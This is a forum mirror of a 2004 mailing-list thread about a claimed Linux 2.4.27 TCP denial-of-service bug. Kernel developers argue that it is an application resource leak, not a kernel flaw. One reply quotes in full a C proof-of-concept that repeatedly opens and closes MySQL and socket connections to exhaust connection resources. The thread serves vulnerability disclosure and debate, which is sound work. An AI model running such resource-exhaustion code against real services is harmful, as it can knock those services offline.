Likes Likes:  0
Resultaten 1 tot 3 van de 3
Geen
  1. #1
    David S. Miller
    Re: Linux 2.4.27 SECURITY BUG - TCP Local (probable Remote) Denial
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Linux 2.4.27 SECURITY BUG - TCP Local (probable Remote) Denial

    On Sat, 11 Sep 2004 20:45:43 -0600
    "Wolfpaw - Dale Corse" <admin@wolfpaw.net> wrote:

    > As for it being an application bug - it may be one in Mysql not
    > closing the sockets, but it is a Kernel Bug that allows CLOSE_WAIT
    > sockets to clog up the connection queues, and cause a DOS conditions
    > on other applications (such as Apache). Since most software used for
    > denial of service is badly written (intentionally) to exploit the
    > holes, the error should be fixed, not blamed on faulty software.


    If the application doesn't close it's file descriptors there is
    absolutely nothing the kernel can do about it.

    It's a resource leak, plain and simple.

    > That being said - below is a the proper description, and the code
    > used to exploit it. Hope it helps. This version is not the one
    > which invokes the CLOSE_WAIT state, but rather the TIME_WAIT one,
    > I am not able to publish the source code for the CLOSE_WAIT bug.


    There is nothing wrong with creating tons of TIME_WAIT sockets,
    they simply time out after 60 seconds (unless hit by a RESET
    packet or similar). This is how TCP works.

    > The log however clearly shows that a mysql descriptor is closed,
    > and then used immediately again by the socket call, which causes it
    > never to end up getting closed. Linux apparently has either no
    > timeout for CLOSE_WAIT, or it's a very very long one.. Either way
    > is a bad thing.


    Please do us all a favor and learn how TCP works.

    CLOSE_WAIT means simply that only one side of the TCP
    connection has done a close. Therefore the other end
    stays open until that side closes as well.

    There is no way to "time things out" or release the
    state.

  2. #2
    David S. Miller
    Re: Linux 2.4.27 SECURITY BUG - TCP Local (probable Remote) Denial
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Linux 2.4.27 SECURITY BUG - TCP Local (probable Remote) Denial


    Close wait means the application locally has not closed
    the file descriptor, yet the remote end has sent
    a FIN.

    This is %99 of the time an application bug.

    But since you haven't provided much detail of the problem
    nobody will ever know exactly what you're talking about.

    Please, do me and everyone else here on this list a real huge
    favor, don't post bug reports without all the details, you're
    just wasting everyone's time. If it's exploitable, even more
    reason to post every single detail so we can work on a fix if
    necessary as fast as possible.

  3. #3
    Ron DuFresne
    Re: Linux 2.4.27 SECURITY BUG - TCP Local (probable Remote) Denial
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    RE: Linux 2.4.27 SECURITY BUG - TCP Local (probable Remote) Denial


    others will correct me if I'm wrong, but, I beleive one can tune this with
    sysctl params, and lower the time limits such to minimise problems. But
    also, issues like this are long known, and not limited to linux nor the
    current stable kernel.

    Thanks,

    Ron DuFresne

    On Sat, 11 Sep 2004, Wolfpaw - Dale Corse wrote:

    > Hi David,
    >
    > Hmm.. I was more looking for the correct kernel developer to send
    > it to, rather then just releasing exploit code into the wild, and
    > having it end up a zero day hack. It was not in any way my intention
    > to waste anyone's time. I will however, comply with your politely
    > stated request
    >
    > As for it being an application bug - it may be one in Mysql not
    > closing the sockets, but it is a Kernel Bug that allows CLOSE_WAIT
    > sockets to clog up the connection queues, and cause a DOS conditions
    > on other applications (such as Apache). Since most software used for
    > denial of service is badly written (intentionally) to exploit the
    > holes, the error should be fixed, not blamed on faulty software.
    >
    > That being said - below is a the proper description, and the code
    > used to exploit it. Hope it helps. This version is not the one
    > which invokes the CLOSE_WAIT state, but rather the TIME_WAIT one,
    > I am not able to publish the source code for the CLOSE_WAIT bug.
    > The log however clearly shows that a mysql descriptor is closed,
    > and then used immediately again by the socket call, which causes it
    > never to end up getting closed. Linux apparently has either no
    > timeout for CLOSE_WAIT, or it's a very very long one.. Either way
    > is a bad thing.
    >
    > D.
    >
    > Description
    > =============
    > The "socket" call will reuse file descriptor before it is completely
    > finished closing. In this case, it is Mysql (3.23.58) which doesn't
    > appear to close them right away, and thus you end up with the
    > result I mentioned.
    >
    > Proof Of Concept Code:
    > ======================
    > #include <sys/types.h>
    > #include <time.h>
    > #include <sys/stat.h>
    > #include <ctype.h>
    > #include <errno.h>
    > #include <stdio.h>
    > #include <time.h>
    > #include <string>
    > #include <fcntl.h>
    > #include <signal.h>
    > #include <stdarg.h>
    > #include <sys/resource.h>
    > #include <sys/wait.h>
    > #include <stdlib.h>
    > #include <sys/time.h>
    > #include <unistd.h>
    > #include <sys/socket.h>
    > #include <netinet/in.h>
    > #include <netinet/in_systm.h>
    > #include <netinet/ip.h>
    > #include <arpa/inet.h>
    > #include <arpa/telnet.h>
    > #include <netdb.h>
    > #include "mysql.h"
    >
    > int main (int argc, char **argv)
    > {
    >
    > char *sql_host = "127.0.0.1";
    > char *sql_name = "root";
    > char *sql_pass = "<PASS>";
    > char *sql_socket = NULL;
    > int sql_port = <PORT>;
    > char *c_host = "127.0.0.1";
    > int c_port=80;
    > long sock=0;
    > int connectresult=0;
    > struct sockaddr_in sockaddr;
    > MYSQL mysql;
    > MYSQL mysql2;
    >
    > mysql_init(&mysql);
    > mysql_init(&mysql2);
    >
    > if (!mysql_real_connect (&mysql2, sql_host, sql_name,
    > sql_pass,NULL,sql_port,sql_socket,0))
    > {
    > printf ("SQL-ERROR connecting to database: %s",
    > mysql_error (&mysql));
    > exit(1);
    > }
    >
    > printf("Mysql Socket Connected: %d\n",mysql.net.fd);
    >
    > while(1)
    > {
    >
    > /* Close the SQL connection */
    > mysql_close(&mysql);
    >
    > mysql_init(&mysql);
    > if (!mysql_real_connect (&mysql, sql_host, sql_name,
    > sql_pass,NULL,sql_port,sql_socket,0))
    > {
    > printf ("SQL-ERROR connecting to database: %s",
    > mysql_error (&mysql));
    > exit(1);
    > }
    >
    > printf("Mysql Socket Connected: %d\n",mysql.net.fd);
    >
    > sockaddr.sin_addr.s_addr=inet_addr(c_host);
    > sockaddr.sin_port=htons(c_port);
    >
    > if((sock=socket(AF_INET, SOCK_STREAM, 0))<0)
    > printf("socket failed.");
    >
    > sockaddr.sin_family=AF_INET;
    >
    > printf("Connecting to %s:%d (FD: %ld)... ",c_host,c_port,sock);
    > connectresult=connect(sock,(struct sockaddr *) &sockaddr, sizeof(sockaddr));
    >
    > if(connectresult) {
    > close(sock);
    >
    > switch(errno) {
    > case ECONNREFUSED:
    > printf(" CONNECTION REFUSED.\n");
    > break;
    > case ENETUNREACH:
    > printf(" HOST UNREACHABLE.\n");
    > break;
    > default:
    > printf(" FAILED: UNKNOWN ERROR");
    > }
    > }
    > else
    > {
    > printf(" Connected.\n");
    > }
    >
    > mysql_close(&mysql2);
    >
    > /* Make a Mysql Connection */
    > mysql_init(&mysql2);
    > if (!mysql_real_connect (&mysql2, sql_host, sql_name,
    > sql_pass,NULL,sql_port,sql_socket,0))
    > {
    > printf ("SQL-ERROR connecting to database: %s",
    > mysql_error (&mysql2));
    > exit(1);
    > }
    >
    > printf("Mysql Socket Connected: %d\n",mysql2.net.fd);
    >
    > /* Close the socket connection */
    > printf("Closing socket #%ld",sock);
    > close(sock);
    > }
    >
    > }
    >
    > > -----Original Message-----
    > > From: David S. Miller [mailto:davem@davemloft.net]
    > > Sent: Saturday, September 11, 2004 7:12 PM
    > > To: admin@wolfpaw.net
    > > Cc: linux-kernel@vger.kernel.org; grsecurity@grsecurity.net;
    > > bugtraq@securityfocus.com
    > > Subject: Re: Linux 2.4.27 SECURITY BUG - TCP Local (probable
    > > Remote) Denial of Service
    > >
    > >
    > >
    > > Close wait means the application locally has not closed
    > > the file descriptor, yet the remote end has sent
    > > a FIN.
    > >
    > > This is %99 of the time an application bug.
    > >
    > > But since you haven't provided much detail of the problem
    > > nobody will ever know exactly what you're talking about.
    > >
    > > Please, do me and everyone else here on this list a real huge
    > > favor, don't post bug reports without all the details, you're
    > > just wasting everyone's time. If it's exploitable, even more
    > > reason to post every single detail so we can work on a fix if
    > > necessary as fast as possible.
    > >
    > > --------------------------------------------------------------
    > > --------------
    > > -
    > > This message has been scanned for Spam and Viruses by ClamAV
    > > and SpamAssassin
    > > --------------------------------------------------------------
    > > --------------
    > > -
    > >
    > >
    > >
    > >
    > >

    >


    --
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    "Cutting the space budget really restores my faith in humanity. It
    eliminates dreams, goals, and ideals and lets us get straight to the
    business of hate, debauchery, and self-annihilation." -- Johnny Hart
    ***testing, only testing, and damn good at it too!***

    OK, so you're a Ph.D. Just don't touch anything.


Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics